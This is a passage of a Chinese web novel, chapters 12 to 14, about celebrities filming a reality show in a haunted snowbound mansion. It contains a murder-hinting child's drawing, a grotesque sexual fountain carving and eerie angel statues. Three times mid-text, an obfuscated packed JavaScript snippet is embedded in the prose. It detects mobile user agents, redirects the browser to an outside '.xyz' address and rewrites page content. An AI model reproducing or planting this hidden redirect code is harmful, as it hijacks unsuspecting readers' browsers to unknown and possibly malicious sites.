表面被后附的部分粘掉了一点,颜色模糊,趋于原作中湖畔沼泽的深绿色,但依稀还能看出画的内容。 几个线条简单,不知是有意还是水平不佳、所以形状各异的柱形,中间是一滩边界模糊看不出图形的深褐色。 12. 012 “这是……”周渚看了几秒、似乎没什么思路,“可能是当时这家的小朋友随便画着玩,后来大人为了不影响画作,所以拿与原画相近的颜料盖了一层。” 他说着,有些宠溺地笑了一声,“小孩子,估计是看到什么就画什么了吧。” “周渚,”梁觉星垂眼看着那几个简陋柱形,“你没见过这幅画吗?” 周渚顿了一下,像是没有听清:“什么?” 梁觉星没再重复,她的指尖在画框边缘点了点:“六个……我在哪里看到过?” 思考片刻,她忽然抬起头来,看向窗外,“院子里的雕塑。”她试图回忆,昨晚天色太深,大雪中景物影影绰绰、一晃而过,车辆的行驶、大门、雪花、暗影,在脑海中捕捉到短暂的画面,没用周渚回答、径直肯定自己,“是六个。” “这是画的院子里的景象,某个短暂存在过的场景。” “那中间的是什么?”周渚语气很轻。 “血吧。” “这么多?”周渚句尾微微上挑,做出有些吃惊的语调,“那这些血是从哪里来的呢?” 梁觉星翻过刚被自己掀开的那部分颜料,轻微偏转角度,“你是老师,不应该你告诉我吗?” 周渚发出很轻的一声笑,不显嘲讽、算是和善动听,“老师总希望学生能自己动脑,探究问题,这样学到的知识才是自己的。” “那你最好不要对我抱有这种想法,”梁觉星终于抬起头来,虽身处下位,但眼神有种居高临下的冷酷意味,“我好奇心不重,而且耐心有限。” 周渚安静地与她对视,半晌,开口道:“抱歉,我不是……” 梁觉星没想听他要说的话,她的视线落下去,自然扫过他的咽喉、胸口、肋骨、肺部,直接打断道:“在草丛里。” 雕像四周的草丛,尸块、或躯干这类的东西落在那里面,图案很小,粘连在后覆的颜料层上、刚才被一块揭掉了。 梁觉星将画框挂起来,周渚从旁配合,短暂的对话结束后,他依旧是那个端方有礼的大学老师,两人活动间站得很近,但时刻注意身体间距、减少肢体接触,保持着让人非常舒服的距离。 挂完两幅画后,周渚从同一个箱子里捡起最后一个半臂长短的相框。 金属边框,右上角雕着两只互相依偎的小鸟,斜垂着脑袋,俯视附在相框内的人。框内夹着一张旧照片,黑白底色,带有划痕和污渍,微微泛黄,内容处磨损至几乎全白,隐约看出是两人的合照,但面部轮廓全部模糊不清。 “这个相框……”周渚犹豫了一下,“还是收起来比较好?” 梁觉星手指在已经在墙壁上悬挂好的壁画右下角轻轻向上推了一下,做了一个角度非常细微的调整,让它达到肉眼看上去十分标准的水平。 “好啊,里面有照片吗?”她说着,走到人身边,接过相框。 “或许是夫妻,”她静静看了一会儿,手指抚上相框后边缘,摸到一个有些老化的接口,“看上去肢体动作很亲密。”老式相框,背后有一个很小的开合机关,她用指腹侧面按住方形突起,微微下压,很轻的一声,封口打开。 梁觉星抽出背板,照片掉落进她掌心。 照片正面如旧,被边框压住的边缘处也没什么东西,翻转过来后,背面倒是有意外惊喜—— “这家的小朋友……”周渚顿了一下,“倒是很喜欢画画。” 粗粗的黑色蜡笔,胶片背部平滑,塞进相框的时候相互摩擦,整个画面图案都被横擦出一片黑色拖痕,让原本很粗糙的笔画上显出几分诡异。 画面简单,一家三口,两个大人中间牵着一个矮矮的小孩,每人都画得很简单,一个圆圆的脑袋,一根细长主干,中途一分为二、成了两条站立的腿,躯干中断支出两根、两两之间相连,是家人间亲密的、交握的双手。 “这是同一个人画的吗,”梁觉星将照片塞回去,把相框随意扔进纸箱里,她抬眼看向周渚,微微弯了一下眼睛,但没有笑意,“我倒没看出来。不愧是周老师。” 周渚平静地回视着她,片刻后,有些无奈地叹了口气:“需要我再次道歉吗?” “我希望你不会再跟我道歉,但我猜,你需要跟我道歉的时候还有很多。”梁觉星随手抽出一张纸,擦掉指尖刚刚蹭上的一点污渍,“周渚,你是来参加节目的吗?” “当然,为什么要这么问?” 梁觉星将废纸握成一圈,目光示意性地滑向周渚自然垂落放在身体两侧的手,它们呈现轻微握起的状态:“因为你总是很紧张。” 周渚的手指轻轻抽动了一下,但脸上表情没变,甚至很轻地笑了一声:“或许是因为,每个人站在你面前的时候,都会感到紧张。” “是吗?”梁觉星笑起来。 周渚在那一刹那察觉到危险——一种因为过于美丽以至于突破某种界限而产生的危险。 梁觉星平常的样子已经足够好看,可是她笑起来的这一瞬间,却仿佛星云流转、光彩灿然。 梁觉星忽然向他走出一步。 而周渚下意识地、几乎有些仓皇地后退。 他的腰猛地撞到书桌边缘。 但心跳太快,他甚至没有感觉到那股刺痛。 “你看,”梁觉星停下来,饱含趣味地挑了挑眉,“你的表现,可不是那个意思。” * 两个小时前,祁笑春从工作人员那里获取到一台跟拍摄像机。 工作人员手把手教他几个基础功能按键,往他衣领上别麦的时候,小冯赶了过来。他之前见过小冯,这位算是秦楝惯用的劳工,什么工种都能兼一点,脾气很好、性格活泼,很会跟人打交道。 他见祁笑春表情难看,明白他的意思,笑嘻嘻地凑过去打了个招呼。 小冯眉毛浓密、眼睛黢黑,笑起来质朴可爱,祁笑春伸手打不了笑脸人,只能收回臭脸:“我是真的好奇,观众点开这个综艺是为了看我们几个干活吗?” “宁华茶那个狗也就算了,看看梁觉星和陆困溪,这俩人的风格是不是有点格格不入了?” 秦楝正在旁边打电话,听内容好像在讨论某个从西伯利亚监狱里逃出来的罪犯,他一边用装腔作势的纳闷的语气问电话那头的人:“我不懂你们为什么不能让一个废物老实待在他应该待的地方,是的,我知道他长脚了,但是乌索利第三精神病院现在不是还保留着一些朴素而有效的治疗手段吗?”一边用指尖敲了敲小冯的手机屏幕,细长的手指抬起来指了一下祁笑春,同时对小冯做了一个口型:梁。 小冯在这么抽象的指示下都接收到了秦楝的意思。他快速戳了几下手机屏幕,调出一张图片。 屏幕从中间纵向一分为二,左边是一张动图,梁觉星单手提着一把电锯,脸上带着护目镜,锯齿疯狂转动,她那条不知为何往常给人留下纤瘦印象的胳膊上,肌肉绷出一个很有力量感的弧度,看上去像什么性感伐木工或者救火员。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997019|178220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 右边是一张播放量线性图,平缓的曲线在某一个点陡然升高,像是平原地带拔地而起的一座山峰。 “……”祁笑春有点说不出话,“不是、这个……你们……那些观众……啊?” 他带着一脸的“我不懂”的神情,抬手按住小冯准备退出页面的手,“一会儿把这张动图传我。” …… 小冯抿嘴。 不是,哥,我看你这挺懂啊。 半小时后,祁笑春装备齐全,扛着摄像头出了门,刚考虑着从哪儿找人,就见宁华茶和陆困溪两人在门口不远的主路上站着。 一眼望去,一点儿活没干。 哦,不是,也干了一点儿。祁笑春抬脚迈过一个刚到他小腿的小雪坡:“我真是看错你们了,没有摄像头的时候你们俩就不干活吗?” “你们对得起自己收的劳务费吗?” “对得起广大观众对你们的喜爱吗?” “对得起楼上辛辛苦苦已经开干的梁觉星和周渚吗?” “闭嘴吧工贼。”宁华茶抬手抹了把脸,他没带手套,骨节处已经冻得通红,“陆影帝你到底是什么出身?铁锹都不会使?” 陆困溪大衣挺拓,手上戴着一双黑色皮质手套,和拿武器似的握着一把铁锹,站得笔直。 简直像张宣传海报。 “别凹造型了影帝。”祁笑春低头看看地面,明白了情况。 如果只是绵雪积了一层,倒还算好清理,扫开就行。但是今早这条路被运货的车来回走了两遍,积雪压实了,现在温度又不高,有些地方已经开始凝成坚冰。这种路面光靠扫没法处理,得用铁锹铲开。 先翻过来用铲口抵住下铲,将压实的冰雪翘松,再翻过来将碎雪块铲到一边。 宁华茶有丰富的生活经验,包括夏天收拾破口雨棚、冬天清扫积雪路面,从没想过有人对冬天大雪的全部印象是松木香的燃烧着的木柴、白雾弥漫的红杉林、还有及时给他端过来飘着热气的红茶的管家。 总之,教了陆困溪两遍怎么铲雪,对方完全没上手。 动作慢、不协调、优雅。 你干活要什么优雅? 宁华茶看了他风度翩翩的衣角一眼,彻底放弃了,“算了,你负责把地上能扫的雪扫干净,然后去清理那几个雕塑吧。祁笑春你去打扫那个喷泉,没问题吧?” 祁笑春看着宁华茶吃瘪的样子无法自控地有点高兴:“完全没问题。我还可以把陆困溪躲避劳动的样子录下来,让观众朋友们一块批判他。” “没用的,”宁华茶长叹一声,“他粉丝就喜欢他这个样。” 祁笑春不能理解。 还有人喜欢这个样的? 哦,梁觉星喜欢。 喜欢过。 祁笑春笑不出来了,心塞。 * 喷泉在另一端,院子足够大,走着走着就彻底失去了身后两人交谈、举动的声音,白茫茫一片中,只剩下他的鞋底在雪面上踩过、发出的咯吱咯吱的踩雪声。 一步、一步,因为步速均衡,所以渐渐让人生出一种不安的感觉,有一瞬间仿佛世界全然安静,自己在与世隔绝的某个地方,远离了所有相识的人类。 这种隔离了同类的感觉让人恐慌,是一种从几万年前人类还在原始丛林中生存时通过无数死亡学会的、透过血脉传承、留存在基因中的知识。不需要学习、天生掌握,在某时某刻顺着你的脊骨突然窜出一股冷意,告诉你,危险。 13. 013 喷泉外圈是个巨大的椭圆形,外延坛面高至膝盖,里面水池深度接近一米。水自然早已没了,如今埋了些积雪,所有肮脏、污秽、陈旧的东西都被掩盖干净。 中央的喷泉柱分了三层。 最下一层层高很低,大约半臂长,看上去是些密密麻麻纠结在一起的东西,像是章鱼的触手,柔软黏腻互相纠缠不清。 祁笑春踩上坛面,还是看不清。应该并不是一个独立的个体,但是这些东西在雕刻的时候似乎就有意没有将边缘分割清楚,像是海船吊起来一大网生猛海鲜,鱼、虾、贝、软体动物,看也没看,全部直接扔进液压机里,腹腔打开、血肉涌动,触手折断、胸鳍插/进鳃裂,最后形成的就是这么个奇形怪状的东西。 看久了有点恶心,祁笑春移开目光。 中间层是人像,乍一看还好,细看才发现不对,从头部看是三个人、从身体看是四个,身体赤/裸、但分不清男女,因为几副躯体正非常紧密地拥抱依偎在一起。 所有的关节、躯干都雕刻的很圆润……甚至过于圆润,在本该转折的地方也失去了应有的骨骼棱角,而转为一种诡异的弧度圆滑的曲面,仿佛是高温下融化的人类躯壳,像油腻的蜡烛一样,皮肤粘连,骨头变软塌缩。 仔细分辨,才看清那些动作不是拥抱,而是交/媾。 一切都混乱、狂热,充斥着一股献祭般的没有理智的失控,器官接触,脸部紧贴,手指用力抚摸,在皮肤上压出凹陷的印痕。仿佛失去皮肤的包裹束缚、能看到黄白混着血色的脂肪黏腻流动。 像一场肉/欲的宴会,餐桌上是翻涌着滚烫的雪白,餐桌下是长大的渴望吞噬的嘴唇。 石面风化,人脸的表情已经看不清楚,但从仰起的脸部、微张开的嘴巴中,依旧能看出隐约的淫/靡热切。 而现在,乌黑的青苔从底部攀延而上,雨水腐蚀、禽类啄痕在那几张脸孔、那些肢体躯干上制造的蜂巢一般的黑色洞穴,让那些炽热而疯狂的情态显出一种阴森的可怖。 很远的地方传来依稀的鸟鸣,让祁笑春产生了一种自己和眼前这座早就枯败腐朽无人打理的喷泉独自在那片荒无人烟的林子的错觉。 这时,他身后突然响起一阵脚步声,很轻、是体量很小的什么东西踩在雪地上发出的声音,祁笑春还没来得及反应,他听到就在自己身边、自己脚下的笑声。 欢快的孩子的笑声。 然后他的小腿被两只手用力一推。 他直直砸向水池中。 祁笑春竭力控制住自己的身体,倾斜的视线中,他身后空无一人。 灰色天空降落、雪色大地上升,他听到自己的心跳。 因恐惧而加剧。 “咚——” “咚——” 阴暗的无边荒野中的鼓声。 * “我靠!” 祁笑春跌进水池里的下一秒,不远处传来一声鬼叫。 三秒钟过后,宁华茶的脸浮现在半空中。 眉毛蹙起,十分纳闷地盯着祁笑春:“你干嘛呢?被我这张帅脸折服了,一个人闷声哭了半小时,实在想不开了?要自杀?” “那你跳这儿也没用啊,这池子就算是装满水要淹死你也是很费劲了。” 语气呼吸非常平稳,显然是正常步速走过来的,完全没为祁笑春着急。 祁笑春差点脸朝下砸在地上,踉跄了几步才勉强站定,距离中央的喷泉柱只差不到半米的距离,台子未被磨圆尚且有几分锋利的直角尖正对准他的额头。 差一点,宁华茶来的时候就能看到他脑浆崩裂的样子。 祁笑春站定,缓了两下,刚才那一瞬间的恐怖惊悚才渐渐淡去。 他猛地看向刚才自己站立的地方,那里空空如也。然后他慢慢转移目光看向宁华茶:“你刚才……看到什么了吗?” 宁华茶没有多想:“就看到你好端端地站在那里忽然自己往前一倒。”他说着,也觉得奇怪,“怎么回事,你低血糖?” 他说着,把手伸向祁笑春,作势要拉他上去。 祁笑春深深看他一眼,将手递过去,宁华茶握紧他,猛地向上一扯。 祁笑春站稳后从台子上拿起他刚来的时候随手放到一旁的摄像机,按键回拨,屏幕里是从他脚边自上而下的角度,能清晰地看到他独自站在台面上,仰着脑袋几乎一动未动——是他在观察喷泉柱的时候,时间前走,没有任何征兆,他突然向前扑过去,像是脚下没有站稳。 他深深吸了一口气,挑出镜头放大画面。 与寻常的脚软摔跤不同,这里非常明显的,有一个小腿前倾的趋势,甚至人没来得及作出合理反应、因而整个人向前扑的时候膝盖是后一步弯曲的——是被人推搡的。 他放下摄像机、垂头看向宁华茶脚边——那里雪面平整,除了他自己和宁华茶刚才制造出来的一路脚印,没有别的痕迹。 他面色难看地盯住那里,半晌,才冷笑一声。 然后他放下这件事,神色如常地看向宁华茶:“你怎么回事,竟然愿意帮我,这么好心?” “哦,”宁华茶两手插兜,样子很不羁,“嗨,看了陆困溪那讨厌鬼一会儿,突然想明白了。”他说着,潇洒地冲人一挑眉,“你刚才是故意激我呢吧?想也知道,你要真有什么,何必用那损招呢。” “既然什么都没有,我又有什么好跟你生气的。” 他说着,伸出手,四指握拳,拇指一指自己:“我,前男友,”再用食指一点对方,“你,不知名的张三李四。” “娱乐八卦盘点梁觉星的情史,你连一个边角料上的板块都不会有。” 他笑起来,嘴角勾出两道英俊洒脱的笑纹:“所以,有什么所谓的呢?” 祁笑春盯着他,那双漂亮的桃花眼倏得一弯:“切,你当初被梁觉星选中,也不过是运气好一点而已。不然梁觉星也不会把你甩了。你们谈恋爱谈了多久,才两、三个月吧。养条狗都比那个时间长。” “再说,对于男人,一个名分很重要吗?” “这事儿你应该去问赵克,名分这事儿我看他喜欢研究。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997020|178220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁华茶说着,一顿,“你认识他吗?他今天联系过你了吗?” “……”祁笑春,“不认识,但是他通过中间一个朋友联系我了三次。” 他俩对视一眼,忽然同时生出一点心有戚戚。 “所以你过来找我干嘛?” “哦,”宁华茶终于想起正事,抬脚一踢刚被他随手放在地上的椅子,“来给你送这个,工作人员给你的,说让你踩着去清喷泉上的雪。” 他说着,抬头去看:“嚯——这么高?这玩意儿你踩梯子也不好清啊,别费那事儿了,把池子里打扫打扫得了。” “他们说要把被雪埋了的池子底的那些树叶什么的一块儿弄出来,不然等雪化了跟着一块儿流到管道里面,到时候越堵越难通。” 宁华茶看高东西习惯从上往下看,说完以后目光停在喷泉柱顶端,琢磨地看着:“那是什么?” 喷泉柱的最上层,体积不大,像是一个天平的托盘,上面摆放着一团什么东西。 皱缩的、像个不规整的球体。 或者胚胎。 或者刚出生不久的四肢蜷缩在一起的胎儿。 祁笑春没有说话,宁华茶突然开口,自问自答:“一盘……菜?” “啧,艺术家的事儿我真是搞不清楚。对了,”他脚尖踢了踢椅子,“这东西一会儿你自己拿回去昂。” “我得回去看看陆影帝怎么样了。” * 陆影帝很好,在没有镜头监控的情况下依旧在勤勤恳恳地做自己份内的工作。 宁华茶回来的时候,他主路已经扫了近三分之一。 又干了一个多小时,在宁华茶突然站直身体看着自己的手说:“我靠,不行,我真得戴一副手套。”的时候,陆困溪终于把主路扫出来了。 十五分钟后,宁华茶得到了一副毛线手套,陆困溪得到了一杯热咖啡,和一句来自秦楝的热心嘱托:“雕像上的雪要清理掉,东西太老,不然积雪一厚有可能会压塌。” …… 陆困溪想付三倍的钱让秦楝在这个温度下在室外扫两个小时的积雪。 工作人员看着陆困溪那张英俊的脸越来越冷,舔了舔嘴唇,在心里给自己打气:“那个……陆老师……我带您过去吧?” “我还没到分不清方向的时候。”陆困溪脱下两只皮手套,在空中一甩,很清脆的啪的一声,像是隔空甩在了秦楝的脸上。 工作人员立马双脚脚跟并拢,两手恭恭敬敬地把工具递了上去。 雕像群分布疏散,共占了主路这边园子里将近一半的位置。 陆困溪前一天来的时候,天色阴暗,加上心思没在这上面,并没看到这里具体有什么,此刻走近了才看清。 他站在一座雕像前,一眼望去,六个雕像共呈环绕状态,最近的两个与他距离大概十米左右。 每座雕像高约两米。 他眼前的这个刻的是……垂面的哭泣天使。 赤/裸,男性。翅膀合拢、双腿蜷缩。 双手掩盖着低垂的面部。 14. 014 风声中,垂头的天使掩面哭泣。 浮在表面的雪花被吹下来,落在陆困溪脸上,他抬头观察着这座雕像,落在眼尾的冰冷的碎雪慢慢融化,变成一滴被吹落的眼泪。 然后他慢慢走向下一座雕像。 依旧是赤/裸的天使像,动作举止与前一个雕像相似,但是脸部微微抬起,那双眼睛从合拢掩面的双手下显露出来, 眼下挂着成串的泪珠、顺着指缝滑落。 但双眼睁大,瞪着前方,神情看起来却与怜悯或悲伤毫无关联,而是显得异常的激动、甚至狂热。 陆困溪停了一下,没再延着原本的路线的前进,而是顺着天使的视线看去,落在这一圈雕像群的正中间。 他想了一下,抬脚走去。 中间并没有明确的标志,地面上只有一片白茫茫的干净的积雪,但是当陆困溪走到某一处时,他忽然意识到,这里就是这六座雕像所围成的圆的中心。 此时风声更大,像穿梭在峡谷中间,形成一种恐怖而空洞的呜咽声。 被风裹挟着的碎雪杂乱地纷飞,从四面八方无序地砸向他。他站在雕像群中间,明明四下没有太多遮挡,却像站在风口。 然后他在风声中隐约听到一些别的声音。 一些碎碎的……低语。 他确定那是人语声,来自于许多人,同时发出。像是在说隐秘的话,音量极低,但语速很快,不断的、不断的,许多人,许多声音。 声音重重叠叠,至更多、至混乱,像是跌进一个放大了数千倍的蚂蚁窝里,成千上万只蚂蚁在你的上下左右爬来爬去,蚁足窸窸窣窣、触角互相碰触。 一片无序的、可怖的混乱。 陆困溪懂得许多种类语言,但那些仿佛应该能够听懂的发音他却一个具体的单词也分辨不出来。他试图更仔细地去听,从风声中、从杂乱的如同低沉的浪涌中的声音里。 那些声音仿佛越来越近,就像蚂蚁窝中,那双巨大的复眼慢慢贴到了他的脸上。 他的耳朵里接收到了环绕着自己的无数声音,他在那只眼球里看到无数的自己。 突然。 声音全部停止,消失不见。 风声中,一片昏暗的寂静。 一片很大的、形状清晰的六棱雪花无声地落下,擦过他的睫毛、再打着旋儿缓缓下落。 他追随着它的轨迹。 它落到了一只苍白的手上。他抬头,看到垂着头的天使正俯视着他。 它的眼里空无一物,表情庄重而冷漠。 它注视着陆困溪,将手中一支折断的花递给他。 ——百合花。 在基督教艺术中纯洁、忠贞和神圣的象征。在画作中常作玛利亚的配饰。她在未婚的状态下,因圣灵感孕,成为了耶稣的母亲。 一种纯洁无瑕的花朵。 现在被折断了,安静地、完全丧失生命力地躺在它石头铸成的掌心里。 陆困溪从心底忽然升起一股不安,他甚至不需要做任何的分析判断,那种冰冷刺骨的直觉像是从他的后颈突然长出来,一根尖头的刺一样,顺着他的血管迅速刺遍他的全身,在一瞬间他的喉咙、心脏都开始剧烈地疼痛,像是那根刺要从他的皮肤里钻出来,或者彻底插进他的心脏里。 一种难忍的刺痛,一种浑身发冷的不安。 他忽然意识到,那些声音消失了……是因为它们,正在看着他。 它们发现了试图窥探的他的存在,它们此时就在这片空旷的风声中,沉默地注视着他。 陆困溪知道自己应该跑,现在、马上,转头!跑到一个存在其他人的地方!一个存在任何能呼吸出热气的人类的地方! 但他的脚下忽然响起声音。 他低下头去,抬起自己的脚,那片原本干净的雪地上,此刻有一个鲜红的鞋印。 是他的。 血液还在流动,像一条有生命的活物。 他顺着它蜿蜒的痕迹向远处望去。 那里有一片红色,就像一个喷泉,血液正喷涌而出,像一条蛇一样地向它涌动而来。 他往旁边躲避,却忽然感觉到脚下踩到了什么东西。 并不完全坚硬,有些软,踩中的瞬间他仿佛听到了什么声音…… 他闭上眼睛,深深吸了一口气,在准备睁眼去看的时候,他听到一个声音。 “呦,陆老板大雪天搞正念呢?” 陆困溪睁眼,看到裹着厚厚的羽绒服、唇红齿白的秦楝。 第一次,秦楝这张脸看上去不那么讨人厌。 所有的异象都消失不见,一切恢复如常,他发现自己站在一个天使像前,它的手上握着一朵花。 陆困溪低头看了看自己的手,半晌,深深呼出一口气,然后走向秦楝。 秦楝捧着一个杯子,从吸管里大口嘬了口奶茶,一边若无其事地打量着他:“你这……脸色不好啊,不至于吧,我听说你们这个工作量,北方的普通学生每年冬天都得来一遍啊。” 陆困溪步伐平缓,等走到秦楝身前时,神情已经正常。 秦楝没有说,他刚才看他的第一眼,他脸色僵硬的像鬼。 大概是巧合,他们两人此刻站立的地方,离这个圈的正中不远。陆困溪停了两秒,按印象走过去,那里还有自己刚才留下的脚印。 非常清晰的一条路线,能看到他从另一端的雕像走过来,在这里停了很久——这里的积雪有点融化、脚印更深,然后他向他刚刚走来的那个方向迈出脚,从脚印看来,没有犹豫,直直走了过去。 当他站在这个圆心的时候,似乎就已经被那些声音蛊惑,完全失去理智。 陆困溪蹲下,将那一片地面上的积雪拨开,起初只想试试,直到他看到地上嵌有石板,上面有字。 秦楝走到他身后,用那种吃惊的语气呦了一声,背对他的陆困溪没有看到,他殷红的嘴唇兴奋地高高挑起:“这是什么?” 石板上有好几行字、很长的一段,每行大约两臂长,长短不齐。 从排版来说看上去像是诗词或者类似的东西。 表面被风化,许多字已经成了囫囵一团,只有个别的几个字尚且能勉强辨认出来: “福祉” “神圣█力量” “升██祭██” “盲者通过须被引导” 秦楝饶有兴趣地低声念着,他似乎将它当作某种词赋,用一种咏叹调似的的音律节奏将它念出了一种很古典的韵味。 陆困溪站起来,低头看了一会儿,垂手用手背扫过去拍掉自己衣角刚才沾上的碎雪,而后看向秦楝:“你的这栋房子有问题。” 他没有用疑问句。 秦楝看着他,眼神没有一点躲避:“是吗?”他笑起来,一种十分适合放在舞台上做表演以吸引观众的清澈明朗、又有一点撩人的笑容,“这我不知道。” 他说着,沉吟了一下,“但我知道,梁觉星已经在这个房子里开始拍摄节目了。” “她似乎很希望这个节目能顺利拍摄完成。” “而且,”他盯着陆困溪,用那种音乐剧里扮演恶魔的角色喜欢的婉转起伏的语调,带着一种令人生厌的笑意,“我还知道,她拍完这个节目就会立刻出国。” “哦,不,应该说是回国。” “她的机票信息没加密,你可以去查一下,这对你来说应该很容易吧。” 陆困溪的脸色冷下去,他们互相盯着对方,带有一种较量角逐的意味。 不远处突然响起脚步声,秦楝率先断开连接,他看着向他们俩走来的宁华茶,无所谓地吸了口奶茶:“咱们这里有这么多人呢,别担心。” 宁华茶一边往这边走一边抬头打量:“嚯,这什么东西,瞧这大翅膀,天使?” “也未必,”秦楝微眯起眼睛看着陆困溪刚刚站在它身下的那一个,“也可能是魔鬼?魔鬼最初不也是天使么,但是违背上帝的旨意,怀疑上帝,因此与上帝对立,最终在撒旦与上帝的交战中失败,被打入地狱。” “也是,”宁华茶听进去了,“但是这种长得漂亮的是天使,带角比较邪恶的那种是魔鬼吧?” “不要用指环王那一套根据善恶来决定美丑。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997021|178220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦楝吸口奶茶,“以西结书里说,有天使身上长了四个生物的头,有的天使身上有四个轮中套轮的轮子,轮子里外、加上全身连背带手和翅膀,布满眼睛。” “相反,恶魔则是美丽的。” “……?”宁华茶有点凝重,“说实话,你真的有点影响我的善恶观了。” 陆困溪没听秦楝那套废话,他转过头来,最后看了一眼那个要把百合花递给自己的雕像,风中它像某种碎雪浮在半空中短暂凝成的虚影,似乎随时会破散,化为虚无。 那么不真实,却有一种冰冷的邪恶。 他仿佛还能感觉到那股向外涌出的血河。 他没再回想,向外走去,想起来问人:“你来干嘛?监工?” 秦楝发出不满的声音:“你怎么能这么想我?我们资本家才不会一下子把劳工累死好吗?” “完全相反,我是来温暖你们的。” “中午了,该吃饭了吧各位少爷。” “嚯!”宁华茶一脸震惊,“真没看出来,你身上还残存人性呢?” “……你说话是有点不客气了。一切都是为了节目好,”秦楝一脸真诚,“所以为了节目效果,宁华茶你是会做饭的吧?” 宁华茶:“当然了。现在的……” 他没说完,秦楝直接打断,果断拍板,“那就请陆老师做饭吧。” ……? 陆困溪停下脚步,用那种你在发什么癫的表情看着秦楝。 秦楝微笑:“再加上梁觉星,她也不会做饭吧?” 宁华茶应了一声:“嗯,她是不会,我们俩在一块的时候都是我给她做饭。” 陆困溪忽然看向他,微微挑眉:“是么?我跟梁觉星在一起的时候,她给我做过饭的。” “那时候我拍极速物质,生病了一段时间,那几天她基本上每天都会去陪我,还会给我准备吃的。” “那种家庭的氛围你可能不懂,和普通的恋爱不一样。” 陆困溪难得说这么多话,秦楝看戏看得兴奋,抿起嘴唇,竭力让自己闭住嘴。 意料之外的,宁华茶竟然完全没有被挑衅到。等陆困溪说完,他甚至有闲心笑了一下,很轻的一声,带着十足的嘲讽。 “你确定是梁觉星给你做的饭吗?” “我想想啊,你当时住的是哪套房子?莫奈花园那套吧?那边确实方便。” “是那边的话……我猜,梁觉星给你做的是广式的菜?蚝油生菜、老火靓汤什么的。” 他看陆困溪越来越难看的表情,知道自己猜对了。 人在上风,姿态很容易摆得好看。他拍了拍陆困溪的肩膀,语重心长地说:“有空去尝尝你们家附近那家今喜靓吧,你会感觉到怀念的。” 这是梁觉星糊弄人的常用手法了。 他之前有一次,感染流感,高温烧了一晚,醒来以后迷迷糊糊地爬下床,就看到梁觉星正坐在客厅里看书,阳光洒在她身上,温柔、神圣,金灿灿的光,明亮又温暖。她是听说了他的消息早晨特地赶来的,没叫他、自己用他一早就给她的钥匙开了门。 看他醒了,从厨房里端出粥来给他喝。 不夸张的说,他当时受宠若惊。 接过粥的瞬间,病毒驱散,感冒好了大半。捧着碗迷迷糊糊地坐到梁觉星身边,心想这是什么美好人间。 后来梁觉星临时有事,走得着急,垃圾忘了顺手带下去。他去收拾的时候,从垃圾桶里看到餐厅外带的盒子和袋子。 但他一点也没有被欺骗的失望,他记得他当时蹲在垃圾桶旁边看着餐厅的大logo傻笑,心想梁觉星怎么能这么可爱。 糊弄自己的样子也可爱。 没糊弄过去的样子也可爱。 陆困溪吃惯自家厨师做的御宴,难怪没尝出这种平价餐厅的外带菜。 陆困溪在外人面前,架子向来摆得高,他盯着宁华茶,肩膀微微垂下去一点,像是太沮丧了甚至觉得疲惫,但下一秒紧接着将下巴抬起,依旧是一副傲慢样子。 他很快想通关节,对宁华茶冷笑一声:“她瞒我也算用心。”